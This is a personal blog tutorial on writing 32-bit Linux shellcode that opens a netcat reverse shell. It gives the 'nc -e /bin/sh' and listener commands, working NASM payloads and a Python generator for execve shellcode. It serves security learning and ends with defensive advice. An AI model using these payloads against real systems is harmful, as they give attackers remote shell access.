____ | _ \ _____ _____ _ __ ___ ___ | |_) / _ \ \ / / _ \ '__/ __|/ _ \ | _ < __/\ V / __/ | \__ \ __/ |_| \_\___| \_/ \___|_| |___/\___| ____ _ _ _ _ / ___|| |__ ___| | | ___ ___ __| | ___ \___ \| '_ \ / _ \ | |/ __/ _ \ / _` |/ _ \ ___) | | | | __/ | | (_| (_) | (_| | __/ |____/|_| |_|\___|_|_|\___\___/ \__,_|\___|
How to spawn a reverse shell with x86 shellcode Scott Griffy July 8, 2016 back to homepage -- Contents -- Introduction Background Problem Solution Requirements Design Shellcode: Part 1, execve Shellcode: Part 2, arguments Shellcode: Part 3, putting it together Automate Conclusion -- Introduction -- If you're reading this, I'll assume you know what shellcode is and how it is used in exploitation and maybe you've even used shellcode to exploit a system. I'm writing to detail how I developed a more advanced shellcode that features a reverse shell in it (a shell that connects back to the attacker). Many people starting out in security simply use google to find usable shellcode for their exploit. Learning how to write your own is a useful skill, or at least learning why certain shellcode is used for different exploits. Sometimes shellcode can't have certain characters, sometimes shellcode must account for privilage dropping and other things. Knowing when to use different types of shellcode is imperative for exploitation, and knowing how to write these different types of shellcode is even better. -- Background -- I set out to learn how to write my own shellcode about a year ago, but it was difficult and I got sidetracked with school. But I picked it up again recently. I've learned a lot more about computers since my first attempts, so writing the basic /bin/sh exploit was pretty easy. So I decided to try out a solution to a problem I thought of. -- Problem -- When you're learning basic exploitation, you usually get shell access to the system you're trying to attack. But this isn't the case with most exploits. In most exploits, you're interacting with the server through a different protocol that won't give you a shell. These protocols are things such as HTTP (through a program like Apache) or SMTP (through something like Exim). These programs are not setup to allow you to interact with the shell you spawn with your exploit like ssh servers will. Most likely the program will instead hang on stdin or will have stdin closed, making your exploit attempt pointless if you're expecting to interact with the shell you've spawned. -- Solution -- That made me think up this solution. What if, instead of writing shellcode to simply run: '/bin/sh', an attacker opened an interactive shell over the network? This would be done in such a way that the attacker would put their IP and a port number into the exploit string and then listen at that address on that port and when the attacker's exploit was executed, an attacker would have a remote terminal into their system. From there, any amount of code could be downloaded/executed. -- Requirements -- The requirements for the target system for this specific exploit (beyond the basic '/bin/sh' shellcode) are: 1. Has 'nc' installed (netcat) (surprisingly, a lot of systems don't, so this could be substituted with 'telnet' or similar) 2. Can open connections to public IPs (some systems have specific firewalls that will prevent attacks like this) -- Design -- The reason we need 'nc' installed is so that we can execute the following command: $ /bin/nc -e /bin/sh Which, as described in the man pages, will: "execute the listed CMD after a connection is established. All input from the remote client will be available on stdin to the command, and all output from the command will be sent back to the remote client." This command will connect to the attacker's server and let them interact with /bin/sh which is essentially a reverse shell. We then complete this reverse shell by running this on the attacker's server: $ /bin/nc -lp Which will then spawn an interactive shell after nc is run on the target server You can test this on your own computer with localhost and a test port like: 1234 -- Shellcode: Part 1, execve -- Now we simply have to learn how to write shellcode and replace the call of '/bin/sh' with '/bin/nc' and add the required parameters So I started learning how to write shellcode here: http://www.vividmachines.com/shellcode/shellcode.html If you haven't read this tutorial (at least up to the windows portion) you should do this now as I'll assume you know assembly and can write some shellcode. I got this basic '/bin/sh' exploit working:
;shellex.asm [SECTION .text] global _start _start: xor eax, eax mov al, 70 ;setreuid is syscall 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short ender starter: pop ebx ;get the address of the string xor eax, eax ;set eax (al) to 0 mov [ebx+7 ], al ;put a 1-byte NULL where the N is in the string mov [ebx+8 ], eax ;put a 4-byte NULL where the AAAA is mov al, 11 ;execve is syscall 11 lea ecx, [ebx+8] ;load the address of where the AAAA was (NUL) lea edx, [ebx+8] ;do this again for the env pointer of execve int 0x80 ender: call starter db '/bin/shNAAAA'
(note: all the shellcode used in this tutorial is in 32-bit, but the information should extrapolate well to 64-bit) You can read Steve Hanna's link above for an explaination about this, as well as how to compile and run this. You'll need to specify 32-bit when you run nasm and gcc, as well as: remove the NX bit on the stack when you compile with gcc. You might be able to run this in 64-bit, though you'd need to change the assembly and it would probably be more complicated. I've changed his code slightly here, removing the args parameter from the execve which isn't necessary when calling execve. Some things that aren't clear in his explaination are that: We need the call instruction so that our '/bin/sh...' string will be on the stack and we can pop the address into ebx. After we call 'starter', the return address pointer will be on the stack, which will be pointing to the 'instruction' after the call, which actually is just a pointer to our string. The reason for the jmp is to remove the NULL characters in the call instruction. With the jump, call will now have a negative address, where as it would have been a small number without the jump, leaving \x00 bytes in the resulting shellcode, which would've terminated the string early (\0 terminates strings). Also, why we use 'mov X, al' to set NULL bytes is also to remove NULL characters. If we set the register to 0 we'd have a NULL bytes in the shellcode, effectively shortening it to that point. There can only by one NULL bytes in normal shellcode, and it's at the end. This means we have to get the eax register set to \x00 which we do with an 'xor eax, eax' There are more tricks like this that can remove more bytes/instructions from shellcode that may be troublesome, but this will work for a simple exploit. These bytes/instructions are troublesome because they will prevent the exploit string from being sent through certain protocols that will segment the exploit when reading certain bytes or instructions that are particularly hard to write ROP exploits for. -- Shellcode: Part 2, arguments -- It's easy enough to replace 'sh' with 'nc' to run nc instead of sh, but we need to add some arguments to it to get the reverse shell to execute. Steve Hanna's write up doesn't explain how to send arguments through execve in linux (windows can execute a command with arguments simply by using spaces) so I started out simple, by testing arguments with 'echo'. An array of strings (like the array passed to programs in 'char **argv') is simply sequential 4-byte pointers to different strings ending in 4 NULL bytes, so we simply have to create this array when calling execve. Here is the assembly I came up with for executing 'echo test':
;echoex.asm [SECTION .text] global _start _start: xor eax, eax mov al, 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short ender starter: pop ebx xor eax, eax mov [ebx+9 ], al mov [ebx+14], al mov [ebx+15], ebx ;put the '/bin/echo' cmd into AAAA lea ecx, [ebx+10] ;get the address of the first argument mov [ebx+19], ecx ;load that into BBBB mov [ebx+23], eax ;put NULL in CCCC mov al, 11 ;execve is syscall 11 lea ecx, [ebx+15] ;load the argv array lea edx, [ebx+23] ;load the env array (just NULL) int 0x80 ender: call starter db '/bin/echoNtestNAAAABBBBCCCC'
First, we are setting the N's in the exploit string to NULL so now we have two NULL-terminated strings. We're setting the CCCC to NULL which we'll use in the arg and env arguments to execve. We're setting AAAA to the first string because programs expect the argv[0] to be the executing program, we do this by simply mov'ing ebx into it, which already points the start of the command string. Now we just have to set argv[1] to our argument, which we do using the ecx register as a temporary register to do some addition to get the address of the string: 'test'. We can't add to ebx because it's pointed to a string of the program being run: '/bin/echo'. You can test this code using the method described in Steve Hanna's tutorial. This shellcode should just output 'test' and you can use strace on the testing binary to see that it is correctly calling execve. -- Shellcode: Part 3, putting it together -- Now we just have to add more parameters and change 'echo' to 'nc':
;revex.asm [SECTION .text] global _start _start: xor eax, eax mov al, 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short ender starter: pop ebx xor eax, eax mov [ebx+7 ], al mov [ebx+10], al mov [ebx+18], al mov [ebx+28], al mov [ebx+33], al mov [ebx+34], ebx lea ecx, [ebx+8] ; load the correct addresses into each pointer into ; the argv array mov [ebx+38], ecx lea ecx, [ebx+11] mov [ebx+42], ecx lea ecx, [ebx+19] mov [ebx+46], ecx lea ecx, [ebx+29] ; last argument mov [ebx+50], ecx mov [ebx+54], eax mov al, 11 lea ecx, [ebx+34] lea edx, [ebx+54] int 0x80 ender: call starter db '/bin/ncN-eN/bin/shNlocalhostN1234NAAAABBBBCCCCDDDDEEEEFFFF'
Writing this involves doing a lot of math in your head. After we replace all the N's with NULL bytes, we have to load the addresses of each argument into the B's through E's. This means calculating the argument strings' effective addresses and replacing the capital letters with pointers to those addresses. -- Automate -- This process is quite simple yet tedious so I wrote a python script to automate it for any command:
import sys import string if len(sys.argv)<2: print("Give me a cmd to turn into asm") print("Ex: "+sys.argv[0]+" echo test") else: exp_str="N".join(sys.argv[1:])+"N" args_str="" null_str="" null_pos=0 leaStr="" execve_args_str="lea ecx, [ebx+"+str(len(exp_str))+"]\n" for i,s in enumerate(sys.argv): if i>0: null_pos+=len(s) null_str+="mov [ebx+"+str(null_pos)+"], al\n" null_pos+=1 if i==len(sys.argv)-1: leaStr+="mov [ebx+"+str(len(exp_str)+4*i)+"], eax\n" execve_args_str+="lea edx, [ebx+"+str(len(exp_str)+4*i)+"]\n" else: leaStr+="lea ecx, [ebx+"+str(null_pos)+"]\n" leaStr+="mov [ebx+"+str(len(exp_str)+4*i)+"], ecx\n" args_str+=(string.ascii_uppercase[i]*4) print( ''' [SECTION .text] global _start _start: xor eax, eax mov al, 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short ender starter: pop ebx xor eax, eax '''+ null_str+ "mov [ebx+"+str(len(exp_str))+"], ebx\n"+ leaStr+"mov eax, 11\n"+ execve_args_str+ "int 0x80\nender:\ncall starter\ndb '"+ exp_str+args_str+"'")
-- Conclusion -- A good way to prevent all of this is to prevent buffer overflows from occuring, which can prevent attackers from doing a remote code execution in the first place. Many programs seek to solve this. Another practical way of preventing this is to prevent outgoing connections from web applications on your server. This would need whitelisting on large interconnected systems that communicate with eachother.